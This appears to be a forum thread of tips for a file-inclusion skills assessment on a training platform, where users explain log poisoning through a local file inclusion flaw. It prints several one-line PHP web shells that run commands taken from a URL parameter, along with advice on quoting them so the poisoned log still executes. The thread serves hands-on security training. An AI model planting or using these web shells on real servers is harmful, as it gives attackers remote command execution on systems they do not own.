Skills Assessment - File Inclusion[questions]

For the log poisoning this is the web shell that worked for me and I didn’t have to reupload it everytime i input a command.

<?php echo shell_exec($_GET['cmd']); ?>

Well that was a waste of three hours because of a missing backslash.

<?php system(\$_GET['cmd']); ?>

Source

I Finally did it!, It is very simple but i was dumb with qoutes, Spoiler alert.
Let me give u tips, 1st u need another page that has LFI, using the 1st page u got with LFI, then on the Log Poisioning, use "

<?php system($_GET['cmd']); ?>

" not "

<?php system($_GET["cmd"]); ?>

", if you used the 2nd one, the " between the cmd will break the log file and it will crash.